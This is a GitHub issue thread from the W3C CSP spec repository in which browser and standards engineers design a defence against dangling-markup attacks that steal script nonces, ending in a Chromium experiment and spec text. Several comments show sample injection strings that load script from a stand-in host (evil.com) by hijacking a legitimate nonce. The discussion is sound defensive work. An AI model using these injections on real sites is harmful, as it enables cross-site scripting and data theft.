Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prevent nonce stealing by looking for "<script" in attributes of nonced scripts #98

Closed
arturjanc opened this Issue Jul 1, 2016 · 22 comments

Comments

Projects
None yet
9 participants
@arturjanc
Copy link

arturjanc commented Jul 1, 2016

Context: "Dangling markup injection" can allow attackers to insert unterminated script elements which will consume markup until they encounter a trusted script element with a valid nonce and "steal" the nonce value from a legitimate script, allowing malicious script execution:
http://blog.innerht.ml/csp-2015/#danglingmarkupinjection
http://lcamtuf.coredump.cx/postxss/ (Section 2.1)

This could be prevented by user agents in the following way:

IF the page defines a CSP with a nonce and the browser sees a script with a valid nonce, THEN:

  • Before executing the script check if any of the attribute values (and possibly attribute names) of the script node contain the string "<script" (case-insensitive).
  • If "NO": execute the script. If "YES": treat the script as if the nonce was invalid and don't execute.

The reason this works is that an attacker with an injection point before a legitimately nonced <script> will have to consume markup until it reaches its nonce attribute. This means that the opening tag of the legitimate <script> element (i.e. "<script") will have to appear somewhere between the attacker-injected <script> and the real nonce attribute:
[XSS]<script src=//evil.com injected="[/XSS] <b>markup</b> <script id="foo" nonce="nonce">

In this case, it would be the attacker-controlled injected attribute that would contain the the <script substring; in general, the attacker will not be able to avoid having this string present somewhere in the attributes of their injected element. The browser can use this fact to prevent injected scripts from executing, without affecting any legitimate script (which shouldn't have such unescaped strings in their attributes).

Two caveats:

  • This could also apply to <style and <link which also support nonces -- it would protect pages which use the same nonce for script-src and style-src.
  • If the attacker controls markup right before the beginning of the legitimate <script> tag, and the page allows improperly-encoded output it might be possible to use multi-byte encodings to attempt to evade this check.
@intchloe

This comment has been minimized.

Copy link

intchloe commented Aug 1, 2016

Good proposal because as of right now there's nothing that protect the nonces. I think the proposal (#65) of just hiding nonces sounds better.

@shekyan

This comment has been minimized.

Copy link
Contributor

shekyan commented Aug 1, 2016

Why did we decide to drop scheme-source / host-source / keyword-source matching if there is a valid nonce attribute, in the first place?

Thus, I think that's if we require both scheme-source / host-source / keyword-source match thesrc attribute and nonce-source match the nonce attribute, if present, the problem will go away..

@intchloe

This comment has been minimized.

Copy link

intchloe commented Aug 1, 2016

@shekyan

Thus, I think that's if we require both scheme-source / host-source / keyword-source match thesrc attribute and nonce-source match the nonce attribute, if present, the problem will go away..

Agreed. Only caveat would be if the attacker would be able to match the src attribute. But still, this would protect in many situations.

@arturjanc

This comment has been minimized.

Copy link
Author

arturjanc commented Aug 5, 2016

@intchloe @shekyan The proposal of additionally requiring host-source etc. on nonced scripts unfortunately won't work because there are many applications which already use nonces instead of the host-source whitelist. These applications would break if we started to enforce the requirement that the URLs of external scripts must additionally match the whitelist.

Note that if an attacker can somehow obtain the nonce they can execute an inline script (<script nonce='...'>evil()</script>) so enforcing a whitelist in addition to the nonce doesn't add security, and it makes it more difficult to deploy CSP: instead of just noncing your scripts, you also have to build the whitelist (which itself is almost always bypassable).

Re: the proposal from #65 it doesn't seem to help against the nonce-stealing technique from http://blog.innerht.ml/csp-2015/#danglingmarkupinjection which I'd like to address with the change proposed here. It might be best to keep the discussions separate, I'll comment on the other issue.

@intchloe

This comment has been minimized.

Copy link

intchloe commented Aug 5, 2016

@arturjanc

Note that if an attacker can somehow obtain the nonce they can execute an inline script (<script nonce='...'>evil()</script>) [..]

So, what about not allowing nonce-reuse? The nonce should only be valid per one <script> -tag.

@arturjanc

This comment has been minimized.

Copy link
Author

arturjanc commented Aug 6, 2016

@intchloe This is not a bad idea in principle, but it wouldn't play well with how the nonce model works in CSP; here are some reasons:

  • Pretty much all sites using nonces use the same nonce value on all scripts; they would break or have to be changed.
  • Sites which load many scripts would need to send a large number nonces in their policy; it's not uncommon to have dozens or sometimes hundreds of inline scripts so those places would have a problem with header size.
  • It would be difficult to load scripts at runtime (via createElement('script')) -- if you exhaust the nonces in your policy you won't be able to load more scripts and your application might break.

Even if we solved these problems, the approach wouldn't solve the original issue because in the "dangling markup injection" attack there is still only a single <script> element with a given nonce:
<script src="//evil.com/js" markup-eating-attribute="... ... <script innocent="true" nonce="123">...

With this technique an attacker injects markup which steals a legitimate nonce from a script that would otherwise be able to run; it works even if the nonce is single-use.

For the browser the tell-tale signal that something like this might be happening is the existence of the innocent script's opening tag (<script) in the attributes of the injected evil script; hence the original proposal above, which uses this signal to prevent such scripts from executing (and which is compatible with the current way of adopting nonces -- it's just an extra check done by the U-A).

@michaelficarra

This comment has been minimized.

Copy link
Contributor

michaelficarra commented Aug 6, 2016

@arturjanc Why can't that indicator be a nonced script tag that has both a src attritbute and inline content? I think that's a lot safer and more predictable (and more performant) than looking for <script in the attributes.

@arturjanc

This comment has been minimized.

Copy link
Author

arturjanc commented Aug 6, 2016

@michaelficarra It's an alternative worth considering.

One issue is that the legitimate script could be an external one, so the injected nonce-stealing script would then have two src attributes:
<script src="//evil.com/js" eat-markup="... ... <script src="safe.js" nonce="123">

I think we can extend your idea to be: "reject a nonced script if it has two src attributes or if it has both a src attribute and inline content". I find this a little bit more difficult to reason about, both when it comes to evaluating potential breakage (e.g. are there legitimate scripts with multiple src attributes that are okay now but would get blocked?) and security (are there cases where dangling markup could bypass this check?), but overall maybe it would be okay...

@mikewest WDYT?

@mikewest

This comment has been minimized.

Copy link
Member

mikewest commented Aug 8, 2016

"two src attributes" or "src and inline content" seems pretty exhaustive, but it's early and I haven't thought very hard about it (also I'm on vacation and certainly not reading GitHub issues before breakfast). I like the simplification. I'd very much like to avoid changing the HTML parser to deal with dangling markup, so if this is a robust-enough solution, let's run with it.

/cc @annevk (maybe we can add this to HTML rather than hacking it into CSP?)

@annevk

This comment has been minimized.

Copy link
Member

annevk commented Aug 8, 2016

Detecting multiple src attributes for script elements is possible as part of "create an element for a token". Should probably be measured first though. No idea how common that is due to sloppy authoring.

src and inline content is harder and HTML even allows it if the inline comment is just comments to document the external script. So restricting that would have to be opt-in I think although we could measure usage I suppose just in case.

@annevk

This comment has been minimized.

Copy link
Member

annevk commented Aug 9, 2016

I missed something. The HTML parser discards duplicate attributes in the tokenizer (end of Attribute name state). We could theoretically add a hack there, but that seems very ugly.

@michaelficarra

This comment has been minimized.

Copy link
Contributor

michaelficarra commented Aug 9, 2016

Then we just don't need to worry about the duplicate src attribute case.

@arturjanc

This comment has been minimized.

Copy link
Author

arturjanc commented Aug 9, 2016

@michaelficarra I believe what Anne meant is that the user-agent will not have the information about the fact that there were two src attributes in the original markup when it needs to make a decision about loading the script for CSP purposes. If we just ignored the duplicate src case then the first (possibly attacker-injected) attribute would be used, so this would not be a good protection against stealing nonces.

@mikewest I believe the original proposal doesn't require changes to the HTML parser. It requires the user-agent enforcing this check to iterate through all attributes/values of the script node at the moment we would make a decision to execute the script or not (e.g. the same time we would check its hash); so maybe it's not as daunting?

@michaelficarra

This comment has been minimized.

Copy link
Contributor

michaelficarra commented Aug 9, 2016

Oh, I assumed the last duplicate attribute would be used. That's awful.

@annevk

This comment has been minimized.

Copy link
Member

annevk commented Aug 9, 2016

Why is that awful? Very much depends on your templating…

@mikewest

This comment has been minimized.

Copy link
Member

mikewest commented Aug 19, 2016

I'll land @arturjanc's idea behind a flag to get some metrics regarding the effect it might have. Seems like something I might have enough brainpower for before I take off to the beach.

@filedescriptor

This comment has been minimized.

Copy link

filedescriptor commented Aug 31, 2016

The proposal looks decent to me despite being a bit awkward.

Regarding the alternative:

reject a nonced script if it has two src attributes or if it has both a src attribute and inline content)

I think it's missing one case:

<script src="//evil.com/js" eat-markup="... ... <script src="safe.js" nonce="123">

...where the second src becomes the value of eat-markup, thereby only the first src is present?

dstockwell pushed a commit to dstockwell/chromium that referenced this issue Aug 31, 2016

CSP: Experimentally harden against nonce-stealing injections.
As discussed in w3c/webappsec-csp#98, this
patch prevents execution of script via a nonce if an attribute named
"<script" or "<style" is present, or if an attribute's value contains
"<script" or "<style".

That is, given `script-src 'nonce-abc'`, the following will execute:

    <script nonce=abc>
      // yay
    </script>

But the following will not:

    <script <script nonce=abc>
      // yay
    </script>
    <script attribute="<script" nonce=abc>
      // yay
    </script>
    <script <style nonce=abc>
      // yay
    </script>
    <script attribute="<style" nonce=abc>
      // yay
    </script>

Let's see if this is web-compatible, shall we? This patch locks the new
behavior behind the experimental flag, and adds metrics that should
help us understand what the real-world impact would be.

BUG=639293

Review-Url: https://codereview.chromium.org/2260103003
Cr-Commit-Position: refs/heads/master@{#415633}
@mikewest

This comment has been minimized.

Copy link
Member

mikewest commented Sep 1, 2016

Landed an experiment in Blink. I'm a little worried about the performance impact, but we'll see how it looks.

mikewest added a commit that referenced this issue Sep 1, 2016

Mitigate nonce-stealing attacks.
As discussed in #98, this patch attempts to mitigate
dangling markup injection attacks' ability to repurpose existing nonces
via clever injections.

It's not clear that we can ship this mitigation, as it's fairly expensive.
Accordingly, it's marked as 'at risk' in the document, pending further
investigation.
@mikewest

This comment has been minimized.

Copy link
Member

mikewest commented Sep 2, 2016

And added spec text in fe15bbb. Let's see how the experiment goes.

@mikewest mikewest added this to the CSP3 CR milestone Sep 2, 2016

@zcorpan

This comment has been minimized.

Copy link
Member

zcorpan commented Feb 20, 2017

Since the HTML parser lowercases attribute names, the check for attribute names can be case-sensitive. However, it needs to be a substring match, or "ends with" match, I think. Consider:

[XSS]<script src=//evil.com end-of-XSS<script id="foo" nonce="nonce">

The attribute will be end-of-xss<script.

@mikewest

This comment has been minimized.

Copy link
Member

mikewest commented Feb 20, 2017

Yeah. We did a substring match for the value, I'm not sure why we didn't do that for the name. Thanks for the poke, @zcorpan!

@andypaicu

This comment has been minimized.

Copy link
Collaborator

andypaicu commented Jan 8, 2018

I believe this work is now finished

@andypaicu andypaicu closed this Jan 8, 2018

@w3c w3c deleted a comment Jan 8, 2018

@w3c w3c deleted a comment Jan 8, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.